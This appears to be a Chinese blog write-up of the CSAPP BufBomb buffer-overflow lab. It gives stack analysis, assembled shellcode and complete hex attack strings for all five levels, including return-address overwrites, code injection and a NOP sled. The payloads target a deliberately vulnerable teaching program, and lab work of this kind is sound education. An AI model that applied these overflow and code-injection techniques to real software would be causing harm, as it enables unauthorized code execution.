美文网首页
七分钟搞定BufBomb

七分钟搞定BufBomb

作者: ChiWanZi | 来源:发表于2017-11-20 12:58 被阅读0次

第一分钟:栈帧

结构如下


Stack Frame

第二分钟:Candle

我们要让getbuf函数不返回到test,而是返回到函数smoke。那么,很直观的,我们应该去修改getbuf函数栈帧中的返回地址。通过分析bufbomb反汇编之后的代码,我们发现buf的开始地址在-0x28(%ebp),而返回地址的存在从0x4(%ebp)之后的四个字节中。因此,我们只需要在buf中输入48个字节,其中最后四个字节为smoke函数的地址(小端顺序),即可。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 8b 04 08

第三分钟:Sparkler

我们这次依然要改变getbuf的返回地址,只不过要返回到函数fizz,依照上一分钟的步骤修改一下即可。不同的是,这一次,我们还要修改fizz的参数。通过分析bufbomb反汇编之后的代码,我们发现是0x8(%ebp)0x804e104这两个地址中的值发生了比较。很明显,后一个是全局变量cookie的值,所以我们要对前一个地址的值进行修改。

让我们回想一下到fizz之前的过程。首先,getbuf运行到了返回,这时,它先movl %ebp, %esp,然后popl %ebp,此时esp也因pop操作而加了4,指向返回地址,这部分是leave的操作。之后,ret被调用,它的作用是popl eip, esp也因为pop操作又加了4,这是eip中存储的应该是fizz的地址。

到了fizz之后,首先还是要进行push %ebpmovl %esp, %ebp。这样,fizz的栈帧中ebp的地址比getfuf的栈帧中ebp的地址高4,这种差异是由于我们并没有像正常的执行过程那样将返回值压栈造成的。所以,fizz中的val应该在比getbufebp高12的地方。

知道了这些,我们就可以构造字符串了。首先我们要重写getbuf的返回地址,这个和上一分钟的做法基本相同,然后,我们要重写val参数,这个应该放在ebp之后12比特开始的4比特中。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 2e 8b 04 08 <- 这四个是覆盖getbuf返回地址用的
00 00 00 00 42 2f 4f 7b <- 这四个是覆盖val用的

第四分钟:Firecracker

这一分钟,我们需要修改全局变量了。在流程上,我们需要作出一些改变。原来是getbuf->xxx func,现在是getbuf->buf->xxx func。也就是说,我们需要让buf里的语句被运行。所以,这一次,虽然我们还要覆盖getbuf的返回地址,但是要让它返回到buf里。我们先用gdb看一下buf的地址,方法很多,可以查ebp的地址然后运算,也可以查传入Gets的参数。

之后,我们要查找global_value的地址。全局变量的地址是直接载入的,所以在反汇编的代码里查就好。

然后,我们就要开始写hack代码了。首先我们要修改global_value的值,用movl $0x7b4f2f42, 0x0804e10c把自己的cookie写进去。然后,我们还要把bang的地址放进eip来实现跳转。pushl $0x08048b82然后ret即可。

最后把这段代码汇编,插入到攻击字符串里。

c7 05 0c e1 04 08 42 2f <- hack代码
4f 7b 68 82 8b 04 08 c3 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 98 38 68 55 <- buf的地址

第五分钟:Dynamite

首先让我们来分析一下我们改变了什么?eip最后会指向该继续运行的地址,所以没有变;esp最后会变成调用后ebp的值,ebp的值没有变,所以esp也是正确的;栈被我们修改了,但是再返回后,我们修改的那部分都被pop掉了,所以也没有变。唯一变了的就是原来的ebp的值,这个在我们hack的时候被覆盖掉了(按我写的字符串来说,会被覆盖成0 0 0 0)。所以我们只需要修复一下ebp就好。

那么ebp的值应该是什么呢?我们只需要用gdb,设置到test里任意位置的断点,然后打印ebp就可以了。

movl    $0x7b4f2f42, %eax ; 放cookie
movl    $0x556838f0, %ebp ;回复一下ebp
pushl   $0x08048bf3       ;push应该返回的地址
ret                       ;pop刚才压进去的地址到eip,实现跳转。

汇编后即可生成代码,然后组合成攻击字符串

b8 42 2f 4f 7b bd f0 38
68 55 68 f3 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55

第六分钟:Nitroglycerin

这一分钟和上一分钟做的事没什么区别,不同的是要对变化的栈地址进行处理。

我们从文档中知道,栈的size大于地址的变化幅度,因此老方法还行的通。

对于攻击字符串,我们需要修改三个地方:ebp还原,buf的填充,以及返回地址。

由于地址是不定的,所以我们不能再用固定的值还原ebp。我们在testn中可以发现,ebp-0x28esp,所以可以用esp来计算。(esp在进入getbuf之后变成了ebp,但是在运行buf里的代码的时候,leave代码被运行,这样esp又变了回来)

然后是buf填充。之前是32,现在是512,所以填充的字符串长度也要变成,其次,我们应该用nop(机器码是90)来填充。(之前是什么都可以,现在就不一样了)

最后是返回地址,之前设置为buf的首地址,不过由于现在不知道那是多少,所以应该直接试一下,输出每次的buf地址,选个比较大的,这样,小的也会落在nop区里,总会运行到hack代码。

90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 42 2f 2f

4f 7b 8d 6c 24 28 68 67
8c 04 08 c3 28 37 68 55

第七分钟:写一下实验报告

如上

相关文章

  • 七分钟搞定BufBomb

    第一分钟:栈帧 结构如下 第二分钟:Candle 我们要让getbuf函数不返回到test,而是返回到函数smok...

  • 呼吸这个小动作

    在如今这个贩卖“五分钟学会……”、“七分钟练成……”、“十五分钟搞定……”的焦虑的数字世界里,我们常常忘了好好呼吸...

  • BufBomb缓冲区溢出炸弹

    这是神书<<深入理解计算机系统>>里面的一个实验,很不错。这个实验有4个文件,可执行文件 bufbomb, hex...

  • (9.22——意志薄弱)

    在提前七分钟的时候放弃了! 后来想想七分钟才多长啊!但是又仔细想想 任何的突破好像也在这短短的七分钟! 入的方面还是少!

  • 意识

    刚完成十七分钟的晨间唤醒瑜伽,微微出汗,感觉却很好,动起来了,哪怕这种动只有十七分钟。 想想这段时间仿佛成了霹雳头...

  • 我是一切的根源

    常常听人说,我要搞定孩子,要搞定公婆,要搞定伴侣,要搞定客户,要搞定这个,搞定那个,却很少有听说要搞定自己。 我们...

  • 日更,无题

    今天原本准备休息一天,用一张复活卡,上床后发现还有十七分钟。 这十七分钟,就算不唠叨这两句,可能也不会睡觉。 每天...

  • 2020

    你有七分钟的时间,对你的2020还有七分钟, 你看到你的收获了吗?达成愿望了吗?你有遗憾吗?清楚你的错误吗? 你感...

  • Bufbomb缓冲区溢出攻击实验详解-CSAPP

    任务说明书:[pdf] buflab | http://csapp.cs.cmu.edu/public/labs....

  • 差点赶不上日更

    距离零点还有七分钟,我在这七分钟里能坚持写完一百字吗?这篇文章更的真是没有质量,纯粹是为了不落下日更。 ...

网友评论

      本文标题:七分钟搞定BufBomb

      本文链接:https://www.haomeiwen.com/subject/xtkvvxtx.html